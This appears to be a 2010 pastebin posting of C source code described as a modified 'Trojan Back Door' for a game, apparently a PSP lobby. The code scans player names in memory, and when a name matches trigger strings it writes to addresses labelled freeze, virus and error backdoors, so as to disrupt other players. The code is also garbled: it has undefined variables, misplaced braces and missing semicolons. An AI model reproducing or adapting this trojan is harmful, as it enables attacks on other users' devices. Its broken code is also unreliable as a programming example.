Untitled
By: a guest | Feb 9th, 2010 | Syntax:
None | Size: 1.79 KB | Hits: 20 | Expires: Never
//Modded From Dmonchilds Trojan Back Door Source Code to make understanding better
//Stores the values here
char *DARK987space = "DARK987 ";
char *DARK987spacespace = "DARK987 ";
char *DARK987spacespacespace = "DARK987 ";
//Integers For BackDoor
unsigned int *FreezeBackDoor=(unsigned int*) (0x00000000+0x08800000);
unsigned int *Error17BackDoor=(unsigned int*) (0x00500008+0x08800000);
unsigned int *VirusSelfBackDoor=(unsigned int*) (0x0055A048+0x08800000);
//adds and reads the pointer and offsets together
void nRead (unsigned int Pointers, unsigned int Offsets){
//If the pointer is above 0x08800000 and the pointer is below 0x0A000000 then activate the backdoor
if((* NamePointers>= 0x08800000) && (* NamePointers < 0x0A000000)){
//Adds both the pointer and the offset
unsigned char *DMA=(unsigned int*) (*NamePointers+Offsets);
//is an integer for the name pointers
unsigned int *NamePointers=(unsigned int*) (address+0x08800000){
//Compares the names in lobby and if it equals the word or number then do action
if (strcmp(DMA, DARK987space)==0){
*FreezeBackDoor=0x00000000
}
else {
if (strcmp(DMA, DARK987spacespace)==0){
*VirusSelfBackDoor=0x00000000
}
}
else {
if (strcmp(pointerandoffset, DARK987spacespacespace)==0){
*Error17BackDoor=0x00000000
}
}
//Calls The Function nRead to read the address to make the back door work
void nGrab(){
nRead(0x0056145C, 0x0E);
nRead(0x00561464, 0x0E);
nRead(0x0056146C, 0x0E);
nRead(0x00561474, 0x0E);
nRead(0x0056147C, 0x0E);
nRead(0x00561484, 0x0E);
nRead(0x0056148C, 0x0E);
nRead(0x00561494, 0x0E);
nRead(0x0056149C, 0x0E);
nRead(0x005614A4, 0x0E);
nRead(0x005614AC, 0x0E);
nRead(0x005614B4, 0x0E);
nRead(0x005614BC, 0x0E);
nRead(0x005614C4, 0x0E);
nRead(0x005614CC, 0x0E);
nRead(0x005614D4, 0x0E);
}
}
}
}